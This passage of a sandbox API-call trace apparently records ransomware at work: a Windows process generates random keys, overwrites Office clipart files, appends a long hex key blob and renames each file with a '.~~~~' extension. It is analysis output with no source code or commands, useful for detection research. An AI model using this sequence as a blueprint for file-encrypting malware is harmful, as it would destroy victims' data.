	[0117.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0117.861] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.862] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0117.862] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0117.862] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0117.862] CloseHandle (hObject=0x148) returned 1
	[0117.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0117.862] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00110_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00110_.wmf.~~~~")) returned 1
	[0117.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0117.864] GetLastError () returned 0x0
	[0117.864] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0117.866] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0117.866] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0117.866] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0117.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0117.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0117.866] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23785604457) returned 1
	[0117.866] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xafbcfb70, dwHighDateTime=0x1d60e1e)) 
	[0117.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0117.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0117.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0117.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9178
	[0117.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0117.867] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9178 | out: hHeap=0x300000) returned 1
	[0117.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0117.867] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0117.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0117.867] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0117.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b3010
	[0117.867] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.867] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0117.868] GetLastError () returned 0x0
	[0117.868] GetLastError () returned 0x0
	[0117.868] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0117.868] GetLastError () returned 0x0
	[0117.868] GetLastError () returned 0x0
	[0117.872] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffe7bc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.872] WriteFile (in: hFile=0x148, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1844, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x1844, lpOverlapped=0x0) returned 1
	[0117.874] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0117.874] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.874] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0117.874] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0117.874] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0117.875] CloseHandle (hObject=0x148) returned 1
	[0117.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0117.875] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00127_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00127_.wmf.~~~~")) returned 1
	[0117.876] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.876] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0117.876] GetLastError () returned 0x0
	[0117.894] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0117.895] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0117.895] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0117.895] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0117.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0117.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0117.895] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23788495592) returned 1
	[0117.895] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xafc1be30, dwHighDateTime=0x1d60e1e)) 
	[0117.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0117.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0117.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0117.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e91e8
	[0117.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0117.895] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e91e8 | out: hHeap=0x300000) returned 1
	[0117.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0117.895] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0117.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0117.895] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0117.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b30a8
	[0117.895] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.895] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0117.896] GetLastError () returned 0x0
	[0117.896] GetLastError () returned 0x0
	[0117.896] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0117.896] GetLastError () returned 0x0
	[0117.896] GetLastError () returned 0x0
	[0117.935] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xfffff7e4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.935] WriteFile (in: hFile=0x148, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x81c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x81c, lpOverlapped=0x0) returned 1
	[0117.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0117.937] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.938] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0117.938] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0117.938] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0117.938] CloseHandle (hObject=0x148) returned 1
	[0117.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0117.938] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00132_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00132_.wmf.~~~~")) returned 1
	[0117.940] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.940] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0117.940] GetLastError () returned 0x0
	[0117.940] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0117.942] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0117.942] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0117.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0117.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0117.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0117.942] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23793228605) returned 1
	[0117.942] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xafc8e250, dwHighDateTime=0x1d60e1e)) 
	[0117.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0117.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0117.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0117.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9258
	[0117.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0117.943] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9258 | out: hHeap=0x300000) returned 1
	[0117.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0117.943] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0117.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0117.943] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0117.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b3140
	[0117.943] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.943] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0117.943] GetLastError () returned 0x0
	[0117.944] GetLastError () returned 0x0
	[0117.944] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0117.944] GetLastError () returned 0x0
	[0117.944] GetLastError () returned 0x0
	[0117.993] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xfffff888, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.993] WriteFile (in: hFile=0x148, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x778, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x778, lpOverlapped=0x0) returned 1
	[0117.995] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0117.995] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.995] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0117.995] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0117.995] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0117.995] CloseHandle (hObject=0x148) returned 1
	[0117.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0117.996] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00642_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00642_.wmf.~~~~")) returned 1
	[0117.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0117.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0117.997] GetLastError () returned 0x0
	[0117.997] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0117.999] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0117.999] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0117.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0117.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0117.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0117.999] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23798959713) returned 1
	[0118.000] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xafd267d0, dwHighDateTime=0x1d60e1e)) 
	[0118.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0118.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0118.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0118.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c960
	[0118.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0118.000] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c960 | out: hHeap=0x300000) returned 1
	[0118.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0118.000] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0118.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0118.000] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0118.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b3308
	[0118.000] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0118.000] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0118.001] GetLastError () returned 0x0
	[0118.001] GetLastError () returned 0x0
	[0118.001] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0118.001] GetLastError () returned 0x0
	[0118.001] GetLastError () returned 0x0
	[0118.081] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffd024, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.081] WriteFile (in: hFile=0x148, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x2fdc, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x2fdc, lpOverlapped=0x0) returned 1
	[0118.083] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0118.083] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0118.083] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0118.084] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0118.084] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0118.084] CloseHandle (hObject=0x148) returned 1
	[0118.085] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0118.085] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00792_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00792_.wmf.~~~~")) returned 1
	[0118.086] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0118.086] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0118.086] GetLastError () returned 0x0
	[0118.088] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0118.089] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0118.089] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0118.089] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0118.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0118.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0118.089] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23807952176) returned 1
	[0118.089] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xafe0b010, dwHighDateTime=0x1d60e1e)) 
	[0118.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0118.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0118.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0118.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c998
	[0118.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0118.090] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c998 | out: hHeap=0x300000) returned 1
	[0118.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0118.090] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0118.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0118.090] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0118.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b3438
	[0118.090] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0118.090] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0118.091] GetLastError () returned 0x0
	[0118.091] GetLastError () returned 0x0
	[0118.091] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0118.091] GetLastError () returned 0x0
	[0118.091] GetLastError () returned 0x0
	[0118.180] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xfffff650, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
